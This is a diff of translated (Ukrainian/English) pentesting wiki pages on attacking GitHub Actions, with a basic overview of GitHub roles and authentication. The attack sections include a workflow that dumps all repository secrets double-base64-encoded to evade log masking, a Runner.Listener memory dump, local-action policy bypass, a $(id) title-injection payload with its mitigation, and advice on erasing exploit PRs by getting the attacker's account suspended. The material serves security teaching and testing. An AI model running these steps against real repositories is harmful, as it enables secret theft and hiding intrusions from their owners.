+As commented in [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), even if a repository or organization has a policy restricting the use of certain actions, an attacker could just download (`git clone`) and action inside the workflow and then reference it as a local action. As the policies doesn't affect local paths, **action буде виконано без жодних обмежень.**
+
+Приклад:
+```yaml
+on: [push, pull_request]
+
+jobs:
+test:
+runs-on: ubuntu-latest
+steps:
+- run: |
+mkdir -p ./tmp
+git clone https://github.com/actions/checkout.git ./tmp/checkout
+
+- uses: ./tmp/checkout
+with:
+repository: woodruffw/gha-hazmat
+path: gha-hazmat
+
+- run: ls && pwd
+
+- run: ls tmp/checkout
+```
+### Доступ до AWS і GCP через OIDC
+
+Перегляньте наступні сторінки:
 
 {{#ref}}
 ../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
@@ -442,13 +470,13 @@ gh-actions-artifact-poisoning.md
 
 ### Доступ до секретів <a href="#accessing-secrets" id="accessing-secrets"></a>
 
-Якщо ви впроваджуєте вміст у скрипт, цікаво знати, як ви можете отримати доступ до секретів:
+Якщо ви вставляєте вміст у скрипт, корисно знати, як отримати доступ до секретів:
 
-- Якщо секрет або токен встановлено в **змінну середовища**, його можна безпосередньо отримати через середовище, використовуючи **`printenv`**.
+- Якщо секрет або токен задані як **змінна середовища**, їх можна напряму отримати, використовуючи **`printenv`**.
 
 <details>
 
-<summary>Список секретів у виході Github Action</summary>
+<summary>Перелічити секрети у виводі Github Action</summary>
 ```yaml
 name: list_env
 on:
@@ -475,7 +503,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 
 <details>
 
-<summary>Отримати зворотний шелл з секретами</summary>
+<summary>Отримати reverse shell за допомогою secrets</summary>
 ```yaml
 name: revshell
 on:
@@ -498,15 +526,15 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 ```
 </details>
 
-- Якщо секрет використовується **безпосередньо в виразі**, згенерований shell-скрипт зберігається **на диску** і доступний.
+- Якщо secret використовується **безпосередньо в виразі**, згенерований shell script зберігається **на диску** і доступний.
 - ```bash
 cat /home/runner/work/_temp/*
 ```
-- Для JavaScript дій секрети передаються через змінні середовища.
+- Для JavaScript actions secrets передаються через змінні середовища
 - ```bash
 ps axe | grep node
 ```
-- Для **кастомної дії** ризик може варіюватися в залежності від того, як програма використовує секрет, отриманий з **аргументу**:
+- Для **custom action** ризик може варіюватися залежно від того, як програма використовує секрет, який вона отримала з **argument**:
 
 ```yaml
 uses: fakeaction/publish@v3
@@ -514,23 +542,47 @@ with:
 key: ${{ secrets.PUBLISH_KEY }}
 ```
 
-### Зловживання самостійно хостингованими виконавцями
+- Перелічіть всі secrets через secrets context (collaborator level). Контриб'ютор з правами write може змінити workflow в будь-якій гілці, щоб вивантажити всі repository/org/environment secrets. Використовуйте подвійне base64, щоб обійти GitHub’s log masking, і декодуйте локально:
 
-Спосіб знайти, які **Github Actions виконуються в не-Github інфраструктурі**, - це шукати **`runs-on: self-hosted`** в конфігураційному yaml файлі Github Action.
+```yaml
+name: Steal secrets
+on:
+push:
+branches: [ attacker-branch ]
+jobs:
+dump:
+runs-on: ubuntu-latest
+steps:
+- name: Double-base64 the secrets context
+run: |
+echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0
+```
 
-**Самостійно хостинговані** виконавці можуть мати доступ до **додаткової чутливої інформації**, до інших **мережевих систем** (вразливі кінцеві точки в мережі? служба метаданих?) або, навіть якщо вони ізольовані та знищені, **може виконуватися більше однієї дії одночасно**, і зловмисна може **вкрасти секрети** іншої.
+Декодуйте локально:
 
-У самостійно хостингованих виконавцях також можливо отримати **секрети з процесу \_Runner.Listener**\_\*\* який міститиме всі секрети робочих процесів на будь-якому етапі, скидаючи його пам'ять:
+```bash
+echo "ZXdv...Zz09" | base64 -d | base64 -d
+```
+
+Порада: для прихованості під час тестування шифруйте перед виводом (openssl попередньо встановлено на GitHub-hosted runners).
+
+### Зловживання Self-hosted runners
+
+Щоб знайти, які **GitHub Actions виконуються поза інфраструктурою GitHub**, шукайте **`runs-on: self-hosted`** у конфігураційному yaml для Github Action.
+
+**Self-hosted** runners можуть мати доступ до **додаткової конфіденційної інформації**, до інших **мережевих систем** (вразливі endpoints у мережі? metadata service?) або, навіть якщо він ізольований і буде знищений, **можуть виконуватись більше ніж одна action одночасно**, і зловмисна дія може **вкрасти secrets** іншої.
+
+На self-hosted runners також можливо отримати **secrets from the \_Runner.Listener**\_\*\* process\*\*, який міститиме всі secrets workflow на будь-якому кроці, шляхом дампу його пам'яті:
 ```bash
 sudo apt-get install -y gdb
 sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
 ```
-Перевірте [**цей пост для отримання додаткової інформації**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
+Перегляньте [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
 
-### Github Docker Images Registry
+### Регістр Docker-образів у Github
 
-Можливо створити Github дії, які **будують і зберігають Docker-образ всередині Github**.\
-Приклад можна знайти в наступному розширювальному:
+Можна створити Github actions, які будуть **build and store a Docker image inside Github**.\
+Приклад можна знайти в наступному розкривному блоці:
 
 <details>
 
@@ -565,30 +617,34 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
 ```
 </details>
 
-Як ви могли бачити в попередньому коді, реєстр Github розміщений на **`ghcr.io`**.
+Як видно з попереднього коду, реєстр Github розміщено на **`ghcr.io`**.
 
-Користувач з правами на читання репозиторію зможе завантажити Docker Image, використовуючи особистий токен доступу:
+Користувач із read permissions до repo зможе завантажити Docker Image, використовуючи personal access token:
 ```bash
 echo $gh_token | docker login ghcr.io -u <username> --password-stdin
 docker pull ghcr.io/<org-name>/<repo_name>:<tag>
 ```
-Тоді користувач може шукати **викрадені секрети в шарах Docker-образу:**
+Then, the user could search for **leaked secrets in the Docker image layers:**
 
 {{#ref}}
 https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
 {{#endref}}
 
-### Чутлива інформація в журналах Github Actions
+### Sensitive info in Github Actions logs
 
-Навіть якщо **Github** намагається **виявити секретні значення** в журналах дій і **уникнути їх відображення**, **інша чутлива інформація**, яка могла бути згенерована під час виконання дії, не буде прихована. Наприклад, JWT, підписаний секретним значенням, не буде прихований, якщо його не [налаштовано спеціально](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
+Навіть якщо **Github** намагається **detect secret values** у actions logs і **не показувати** їх, **інші чутливі дані**, які могли бути згенеровані під час виконання action, не будуть приховані. Наприклад, JWT підписаний за допомогою secret value не буде прихований, якщо це не [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
 
-## Приховування своїх слідів
+## Приховування слідів
 
-(Техніка з [**тут**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) По-перше, будь-який PR, що подається, чітко видимий для публіки в Github і для цільового облікового запису GitHub. У GitHub за замовчуванням ми **не можемо видалити PR з інтернету**, але є нюанс. Для облікових записів GitHub, які **припинені** GitHub, всі їх **PR автоматично видаляються** і зникають з інтернету. Тож, щоб приховати свою активність, вам потрібно або отримати **припинення облікового запису GitHub, або отримати позначку на вашому обліковому записі**. Це **сховає всі ваші активності** на GitHub з інтернету (по суті видалить всі ваші експлуатаційні PR)
+(Техніка з [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) По-перше, будь-який PR видно публічно на Github і для цільового облікового запису GitHub. За замовчуванням у GitHub ми **can’t delete a PR of the internet**, але є тонкість. Для облікових записів Github, які були **suspended** GitHub, всі їхні **PRs are automatically deleted** і видаляються з інтернету. Тож щоб приховати свою активність, потрібно або домогтися **GitHub account suspended**, або щоб ваш обліковий запис був flagged. Це **приховає всі ваші активності** на GitHub з інтернету (фактично видалить всі ваші exploit PR).
 
-Організація в GitHub дуже активно повідомляє про облікові записи в GitHub. Все, що вам потрібно зробити, це поділитися "деякими речами" в Issue, і вони подбають про те, щоб ваш обліковий запис був припинений протягом 12 годин :p і ось, ви зробили свою експлуатацію невидимою на github.
+Організація на GitHub дуже оперативно повідомляє акаунти до GitHub. Все, що потрібно — поділитися «деякими речами» в Issue, і вони подбають, щоб ваш акаунт був suspended протягом 12 годин :p і от — ваш експлойт став невидимим на github.
 
 > [!WARNING]
-> Єдиний спосіб для організації дізнатися, що вони стали мішенню, - це перевірити журнали GitHub з SIEM, оскільки з інтерфейсу GitHub PR буде видалено.
+> Єдиний спосіб для організації з’ясувати, що її атакували — перевірити GitHub logs через SIEM, оскільки з GitHub UI PR буде видалено.
+
+## Посилання
+
+- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md

@@ -1,3 +1,96 @@
 # Gh Actions - Context Script Injections
 
 {{#include ../../../banners/hacktricks-training.md}}
+
+## Розуміння ризику
+
+GitHub Actions renders expressions ${{ ... }} before the step executes. The rendered value is pasted into the step’s program (for run steps, a shell script). If you interpolate untrusted input directly inside run:, the attacker controls part of the shell program and can execute arbitrary commands.
+
+Документація: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions та contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts
+
+Ключові моменти:
+- Рендеринг відбувається перед виконанням. Скрипт run генерується з усіма розв'язаними виразами, після чого виконується shell.
+- Багато contexts містять поля, які контролюються користувачем залежно від події, що запускає (issues, PRs, comments, discussions, forks, stars тощо). Див. довідник про untrusted input: https://securitylab.github.com/resources/github-actions-untrusted-input/
+- Shell quoting inside run: не є надійним захистом, оскільки ін'єкція відбувається на етапі template rendering. Атакувальники можуть вийти з лапок або інжектити оператори через спеціально сформований ввід.
+
+## Уразливий шаблон → RCE on runner
+
+Vulnerable workflow (triggered when someone opens a new issue):
+```yaml
+name: New Issue Created
+on:
+issues:
+types: [opened]
+jobs:
+deploy:
+runs-on: ubuntu-latest
+permissions:
+issues: write
+steps:
+- name: New issue
+run: |
+echo "New issue ${{ github.event.issue.title }} created"
+- name: Add "new" label to issue
+uses: actions-ecosystem/action-add-labels@v1
+with:
+github_token: ${{ secrets.GITHUB_TOKEN }}
+labels: new
+```
+Якщо нападник відкриє issue з заголовком $(id), відображений крок стане:
+```sh
+echo "New issue $(id) created"
+```
+The command substitution запускає команду id на runner. Приклад виведення:
+```
+New issue uid=1001(runner) gid=118(docker) groups=118(docker),4(adm),100(users),999(systemd-journal) created
+```
+Чому екранування не рятує:
+- Вирази обчислюються спочатку, потім виконується отриманий скрипт. Якщо недовірене значення містить $(...), `;`, `"`/`'` або символи нового рядка, воно може змінити структуру програми попри ваше екранування.
+
+## Безпечний підхід (shell variables via env)
+
+Правильне пом'якшення: скопіюйте недовірений вхід у змінну середовища, а потім використовуйте нативне розгортання shell ($VAR) у run-скрипті. Не повторно вбудовуйте через ${{ ... }} всередині команди.
+```yaml
+# safe
+jobs:
+deploy:
+runs-on: ubuntu-latest
+steps:
+- name: New issue
+env:
+TITLE: ${{ github.event.issue.title }}
+run: |
+echo "New issue $TITLE created"
+```
+Notes:
+- Avoid using ${{ env.TITLE }} inside run:. That reintroduces template rendering back into the command and brings the same injection risk.
+- Prefer passing untrusted inputs via env: mapping and reference them with $VAR in run:.
+
+## Reader-triggerable surfaces (treat as untrusted)
+
+Accounts with only read permission on public repositories can still trigger many events. Any field in contexts derived from these events must be considered attacker-controlled unless proven otherwise. Examples:
+- issues, issue_comment
+- discussion, discussion_comment (orgs can restrict discussions)
+- pull_request, pull_request_review, pull_request_review_comment
+- pull_request_target (dangerous if misused, runs in base repo context)
+- fork (anyone can fork public repos)
+- watch (starring a repo)
+- Indirectly via workflow_run/workflow_call chains
+
+Which specific fields are attacker-controlled is event-specific. Consult GitHub Security Lab’s untrusted input guide: https://securitylab.github.com/resources/github-actions-untrusted-input/
+
+## Practical tips
+
+- Minimize use of expressions inside run:. Prefer env: mapping + $VAR.
+- If you must transform input, do it in the shell using safe tools (printf %q, jq -r, etc.), still starting from a shell variable.
+- Be extra careful when interpolating branch names, PR titles, usernames, labels, discussion titles, and PR head refs into scripts, command-line flags, or file paths.
+- For reusable workflows and composite actions, apply the same pattern: map to env then reference $VAR.
+
+## References
+
+- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
+- [GitHub workflow syntax](https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions)
+- [Contexts and expression syntax](https://docs.github.com/en/actions/learn-github-actions/contexts)
+- [Untrusted input reference for GitHub Actions](https://securitylab.github.com/resources/github-actions-untrusted-input/)
+
+{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-ci-cd/github-security/basic-github-information.md

@@ -1,156 +1,156 @@
-# Основна інформація про Github
+# Базова інформація про Github
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Основна структура
+## Базова структура
 
-Основна структура середовища github великої **компанії** полягає в тому, що вона володіє **підприємством**, яке має **кілька організацій**, і кожна з них може містити **кілька репозиторіїв** та **кілька команд**. Менші компанії можуть просто **володіти однією організацією і не мати підприємств**.
+Базова структура середовища github в великій **компанії** — це володіння **підприємством**, яке володіє **кількома організаціями**, і кожна з них може містити **кілька репозиторіїв** та **кілька команд.**. Менші компанії можуть просто **володіти однією організацією і не мати підприємств**.
 
-З точки зору користувача, **користувач** може бути **членом** **різних підприємств та організацій**. У межах них користувач може мати **різні ролі в підприємстві, організації та репозиторії**.
+З точки зору користувача **користувач** може бути **учасником** **різних підприємств і організацій**. Вони можуть мати **різні ролі на рівні підприємства, організації та репозиторію**.
 
-Більше того, користувач може бути **частиною різних команд** з різними ролями в підприємстві, організації або репозиторії.
+Крім того, користувач може бути **в різних командах** з різними ролями на рівні підприємства, організації або репозиторію.
 
-І нарешті, **репозиторії можуть мати спеціальні механізми захисту**.
+І нарешті **репозиторії можуть мати спеціальні механізми захисту**.
 
 ## Привілеї
 
 ### Ролі підприємства
 
-- **Власник підприємства**: Люди з цією роллю можуть **керувати адміністраторами, керувати організаціями в межах підприємства, керувати налаштуваннями підприємства, забезпечувати дотримання політики в організаціях**. Однак вони **не можуть отримати доступ до налаштувань організації або вмісту**, якщо їх не призначать власником організації або не нададуть прямий доступ до репозиторію, що належить організації.
-- **Члени підприємства**: Члени організацій, що належать вашому підприємству, також є **автоматично членами підприємства**.
+- **Власник підприємства**: Люди з цією роллю можуть **керувати адміністраторами, керувати організаціями в межах підприємства, керувати налаштуваннями підприємства, застосовувати політику в організаціях**. Однак вони **не можуть отримувати доступ до налаштувань організації або її вмісту**, якщо їх не призначено власником організації або їм не надано прямого доступу до репозиторію, яким володіє організація.
+- **Члени підприємства**: Учасники організацій, якими володіє ваше підприємство, також **автоматично є членами підприємства**.
 
 ### Ролі організації
 
 В організації користувачі можуть мати різні ролі:
 
-- **Власники організації**: Власники організації мають **повний адміністративний доступ до вашої організації**. Цю роль слід обмежити, але не менше ніж двом людям у вашій організації.
-- **Члени організації**: **За замовчуванням**, неадміністративна роль для **людей в організації** є членом організації. За замовчуванням, члени організації **мають певну кількість дозволів**.
-- **Менеджери з виставлення рахунків**: Менеджери з виставлення рахунків - це користувачі, які можуть **керувати налаштуваннями виставлення рахунків для вашої організації**, такими як платіжна інформація.
-- **Менеджери з безпеки**: Це роль, яку власники організації можуть призначити будь-якій команді в організації. Коли вона застосовується, вона надає кожному члену команди дозволи на **управління сповіщеннями про безпеку та налаштуваннями в межах вашої організації, а також права на читання для всіх репозиторіїв** в організації.
-- Якщо ваша організація має команду безпеки, ви можете використовувати роль менеджера з безпеки, щоб надати членам команди найменший доступ, який їм потрібен до організації.
-- **Менеджери GitHub App**: Щоб дозволити додатковим користувачам **керувати GitHub Apps, що належать організації**, власник може надати їм дозволи менеджера GitHub App.
-- **Зовнішні співпрацівники**: Зовнішній співпрацівник - це особа, яка має **доступ до одного або кількох репозиторіїв організації, але не є явно членом** організації.
+- **Власники організації**: Власники організації мають **повний адміністративний доступ до вашої організації**. Цю роль слід обмежити, але не менш ніж двома людьми в організації.
+- **Учасники організації**: **Типова**, неадміністративна роль для **людей в організації** — це учасник організації. За замовчуванням учасники організації **мають низку дозволів**.
+- **Менеджери білінгу**: Менеджери білінгу — це користувачі, які можуть **керувати налаштуваннями оплати для вашої організації**, наприклад платіжною інформацією.
+- **Менеджери безпеки**: Це роль, яку власники організації можуть призначити будь-якій команді в організації. При застосуванні вона дає кожному члену команди дозволи **керувати повідомленнями про безпеку та налаштуваннями в межах організації, а також дозволи на читання всіх репозиторіїв** в організації.
+- Якщо у вашій організації є команда з безпеки, ви можете використовувати роль менеджера безпеки, щоб надати членам команди найменший необхідний доступ до організації.
+- **Github App managers**: Щоб дозволити додатковим користувачам **керувати GitHub Apps, якими володіє організація**, власник може надати їм дозволи менеджера GitHub App.
+- **Зовнішні співпрацівники**: Зовнішній співпрацівник — це особа, яка має **доступ до одного або більше репозиторіїв організації, але не є явно членом** організації.
 
 Ви можете **порівняти дозволи** цих ролей у цій таблиці: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
 
-### Привілеї членів
+### Привілеї учасників
 
-У _https://github.com/organizations/\<org_name>/settings/member_privileges_ ви можете побачити **дозволи, які користувачі матимуть лише за те, що є частиною організації**.
+В _https://github.com/organizations/\<org_name>/settings/member_privileges_ ви можете побачити **дозволи, які користувачі отримують лише за те, що є частиною організації**.
 
-Налаштування, які тут конфігуровані, вказуватимуть на такі дозволи членів організації:
+Налаштування тут вкажуть такі дозволи учасників організації:
 
-- Бути адміністратором, автором, читачем або не мати дозволів на всі репозиторії організації.
-- Якщо члени можуть створювати приватні, внутрішні або публічні репозиторії.
-- Якщо можливе форкання репозиторіїв.
-- Якщо можливо запрошувати зовнішніх співпрацівників.
-- Якщо можна публікувати публічні або приватні сайти.
-- Дозволи, які мають адміністратори над репозиторіями.
-- Якщо члени можуть створювати нові команди.
+- Бути admin, writer, reader або не мати дозволу над усіма репозиторіями організації.
+- Чи можуть учасники створювати private, internal або public репозиторії.
+- Чи дозволено форкати репозиторії.
+- Чи можливо запрошувати outside collaborators.
+- Чи можна публікувати публічні або приватні сайти.
+- Які дозволи мають адміни над репозиторіями.
+- Чи можуть учасники створювати нові команди.
 
-### Ролі репозиторіїв
+### Ролі репозиторію
 
-За замовчуванням створюються ролі репозиторіїв:
+За замовчуванням створюються ролі репозиторію:
 
-- **Читання**: Рекомендується для **не-кодових учасників**, які хочуть переглядати або обговорювати ваш проект.
-- **Тріаж**: Рекомендується для **учасників, які повинні проактивно управляти проблемами та запитами на злиття** без доступу на запис.
-- **Запис**: Рекомендується для учасників, які **активно вносять зміни до вашого проекту**.
-- **Управління**: Рекомендується для **менеджерів проектів, які повинні управляти репозиторієм** без доступу до чутливих або руйнівних дій.
-- **Адміністратор**: Рекомендується для людей, які потребують **повного доступу до проекту**, включаючи чутливі та руйнівні дії, такі як управління безпекою або видалення репозиторію.
+- **Read**: Рекомендовано для **non-code contributors**, які хочуть переглядати або обговорювати ваш проєкт
+- **Triage**: Рекомендовано для **contributors who need to proactively manage issues and pull requests** без права на запис
+- **Write**: Рекомендовано для контрибуторів, які **активно роблять push у ваш проєкт**
+- **Maintain**: Рекомендовано для **менеджерів проєкту, які повинні керувати репозиторієм** без доступу до конфіденційних або деструктивних дій
+- **Admin**: Рекомендовано для людей, яким потрібен **повний доступ до проєкту**, включаючи конфіденційні та деструктивні дії, такі як керування безпекою або видалення репозиторію
 
 Ви можете **порівняти дозволи** кожної ролі в цій таблиці [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
 
-Ви також можете **створити свої власні ролі** в _https://github.com/organizations/\<org_name>/settings/roles_
+Ви також можете **створити власні ролі** в _https://github.com/organizations/\<org_name>/settings/roles_
 
 ### Команди
 
-Ви можете **переглянути команди, створені в організації** в _https://github.com/orgs/\<org_name>/teams_. Зверніть увагу, що для перегляду команд, які є дочірніми для інших команд, вам потрібно отримати доступ до кожної батьківської команди.
+Ви можете **переглянути список команд, створених в організації** за адресою _https://github.com/orgs/\<org_name>/teams_. Зверніть увагу, щоб побачити команди, які є дочірніми для інших команд, потрібно заходити в кожну батьківську команду.
 
 ### Користувачі
 
-Користувачі організації можуть бути **перераховані** в _https://github.com/orgs/\<org_name>/people._
+Користувачів організації можна **перелічити** в _https://github.com/orgs/\<org_name>/people._
 
-У інформації про кожного користувача ви можете побачити **команди, членом яких є користувач**, і **репозиторії, до яких має доступ користувач**.
+В інформації про кожного користувача ви можете бачити **команди, членом яких є користувач**, та **репозиторії, до яких користувач має доступ**.
 
-## Аутентифікація Github
+## Авторизація в Github
 
-Github пропонує різні способи аутентифікації у вашому обліковому записі та виконання дій від вашого імені.
+Github пропонує різні способи автентифікації у вашому обліковому записі та виконання дій від вашого імені.
 
 ### Веб-доступ
 
-Зайшовши на **github.com**, ви можете увійти, використовуючи своє **ім'я користувача та пароль** (і **можливо 2FA**).
+Заходячи на **github.com**, ви можете увійти, використовуючи свій **username and password** (і потенційно **2FA**).
 
-### **SSH ключі**
+### **SSH Keys**
 
-Ви можете налаштувати свій обліковий запис з одним або кількома відкритими ключами, що дозволяє відповідному **закритому ключу виконувати дії від вашого імені.** [https://github.com/settings/keys](https://github.com/settings/keys)
+Ви можете налаштувати свій обліковий запис з одним або кількома публічними ключами, що дозволяють відповідному **приватному ключу виконувати дії від вашого імені.** [https://github.com/settings/keys](https://github.com/settings/keys)
 
-#### **GPG ключі**
+#### **GPG Keys**
 
-Ви **не можете видавати себе за користувача з цими ключами**, але якщо ви їх не використовуєте, може бути можливим, що ви **будете виявлені за відправлення комітів без підпису**. Дізнайтеся більше про [пильний режим тут](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
+Ви **не можете видати себе за користувача за допомогою цих ключів**, але якщо ви їх не використовуєте, можливо, вас **виявлять за надсилання комітів без підпису**. Learn more about [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
 
-### **Персональні токени доступу**
+### **Personal Access Tokens**
 
-Ви можете згенерувати персональний токен доступу, щоб **надати додатку доступ до вашого облікового запису**. При створенні персонального токена доступу **користувач** повинен **вказати** **дозволи**, які **токен** матиме. [https://github.com/settings/tokens](https://github.com/settings/tokens)
+Ви можете згенерувати personal access token, щоб **надати додатку доступ до вашого облікового запису**. При створенні personal access token **користувач** повинен **вказати** **дозволи**, які **token** матиме. [https://github.com/settings/tokens](https://github.com/settings/tokens)
 
-### Oauth додатки
+### Oauth Applications
 
-Oauth додатки можуть запитувати у вас дозволи **для доступу до частини вашої інформації в github або для видавання вас за себе** для виконання деяких дій. Загальний приклад цієї функціональності - це **кнопка входу з github**, яку ви можете знайти на деяких платформах.
+Oauth applications можуть просити у вас дозволи **для доступу до частини вашої інформації в github або для імітації вас** з метою виконання певних дій. Поширеним прикладом є кнопка **login with github**, яку ви можете знайти на деяких платформах.
 
-- Ви можете **створити** свої власні **Oauth додатки** в [https://github.com/settings/developers](https://github.com/settings/developers)
-- Ви можете побачити всі **Oauth додатки, які мають доступ до вашого облікового запису** в [https://github.com/settings/applications](https://github.com/settings/applications)
-- Ви можете побачити **обсяги, які Oauth Apps можуть запитувати** в [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
-- Ви можете побачити доступ третіх сторін додатків в **організації** в _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
+- Ви можете **створювати** власні **Oauth applications** в [https://github.com/settings/developers](https://github.com/settings/developers)
+- Ви можете побачити всі **Oauth applications, які мають доступ до вашого облікового запису** в [https://github.com/settings/applications](https://github.com/settings/applications)
+- Ви можете побачити **scopes, які Oauth Apps можуть запитувати** в [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
+- Ви можете побачити доступ сторонніх застосунків у **організації** в _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
 
-Деякі **рекомендації з безпеки**:
+Деякі **рекомендації щодо безпеки**:
 
-- **OAuth App** завжди має **діяти як аутентифікований користувач GitHub у всьому GitHub** (наприклад, при наданні сповіщень користувачеві) і з доступом лише до вказаних обсягів.
-- OAuth App може використовуватися як постачальник ідентичності, активуючи "Увійти з GitHub" для аутентифікованого користувача.
-- **Не** створюйте **OAuth App**, якщо ви хочете, щоб ваш додаток діяв на **одному репозиторії**. З обсягом `repo` OAuth Apps можуть **діяти на _всіх_**\*\* репозиторіях аутентифікованого користувача\*\*.
-- **Не** створюйте OAuth App, щоб діяти як додаток для вашої **команди або компанії**. OAuth Apps аутентифікуються як **один користувач**, тому якщо одна особа створює OAuth App для використання компанією, а потім залишає компанію, ніхто інший не матиме доступу до нього.
-- **Більше** тут [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
+- An **OAuth App** should always **act as the authenticated GitHub user across all of GitHub** (for example, when providing user notifications) and with access only to the specified scopes..
+- An OAuth App can be used as an identity provider by enabling a "Login with GitHub" for the authenticated user.
+- **Don't** build an **OAuth App** if you want your application to act on a **single repository**. With the `repo` OAuth scope, OAuth Apps can **act on \_all**\_\*\* of the authenticated user's repositorie\*\*s.
+- **Don't** build an OAuth App to act as an application for your **team or company**. OAuth Apps authenticate as a **single user**, so if one person creates an OAuth App for a company to use, and then they leave the company, no one else will have access to it.
+- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
 
-### Додатки Github
+### Github Applications
 
-Додатки Github можуть запитувати дозволи для **доступу до вашої інформації в github або видавати вас за себе** для виконання конкретних дій над конкретними ресурсами. У GitHub Apps вам потрібно вказати репозиторії, до яких додаток матиме доступ.
+Github applications можуть запитувати дозволи для **доступу до вашої інформації в github або імітації вас**, щоб виконувати конкретні дії над певними ресурсами. У Github Apps ви повинні вказати репозиторії, до яких додаток матиме доступ.
 
-- Щоб встановити GitHub App, ви повинні бути **власником організації або мати адміністративні дозволи** в репозиторії.
-- GitHub App має **підключатися до особистого облікового запису або організації**.
-- Ви можете створити свій власний додаток GitHub в [https://github.com/settings/apps](https://github.com/settings/apps)
-- Ви можете побачити всі **додатки GitHub, які мають доступ до вашого облікового запису** в [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
-- Це **API кінцеві точки для додатків GitHub** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Залежно від дозволів додатка, він зможе отримати доступ до деяких з них.
-- Ви можете побачити встановлені додатки в **організації** в _https://github.com/organizations/\<org_name>/settings/installations_
+- Щоб встановити GitHub App, ви повинні бути **власником організації або мати права адміністратора** в репозиторії.
+- GitHub App повинен **підключатися до персонального облікового запису або організації**.
+- Ви можете створити власний Github application в [https://github.com/settings/apps](https://github.com/settings/apps)
+- Ви можете побачити всі **Github applications, які мають доступ до вашого облікового запису** в [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
+- Це **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Залежно від дозволів App, він зможе отримати доступ до деяких з них
+- Ви можете побачити встановлені застосунки в **організації** в _https://github.com/organizations/\<org_name>/settings/installations_
 
-Деякі рекомендації з безпеки:
+Деякі рекомендації щодо безпеки:
 
-- GitHub App має **виконувати дії незалежно від користувача** (якщо додаток не використовує [токен користувача до сервера](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). Щоб зберегти токени доступу користувача до сервера більш безпечними, ви можете використовувати токени доступу, які будуть дійсні протягом 8 годин, і токен оновлення, який можна обміняти на новий токен доступу. Для отримання додаткової інформації дивіться "[Оновлення токенів доступу користувача до сервера](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
-- Переконайтеся, що GitHub App інтегрується з **конкретними репозиторіями**.
-- GitHub App має **підключатися до особистого облікового запису або організації**.
-- Не очікуйте, що GitHub App знатиме і робитиме все, що може зробити користувач.
-- **Не використовуйте GitHub App, якщо вам просто потрібен сервіс "Увійти з GitHub"**. Але GitHub App може використовувати [потік ідентифікації користувача](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) для входу користувачів _і_ виконання інших дій.
-- Не створюйте GitHub App, якщо ви _лише_ хочете діяти як користувач GitHub і робити все, що може зробити цей користувач.
-- Якщо ви використовуєте свій додаток з GitHub Actions і хочете змінити файли робочого процесу, ви повинні аутентифікуватися від імені користувача з токеном OAuth, який включає обсяг `workflow`. Користувач повинен мати адміністративні або записні дозволи на репозиторій, що містить файл робочого процесу. Для отримання додаткової інформації дивіться "[Розуміння обсягів для OAuth додатків](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
-- **Більше** тут [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
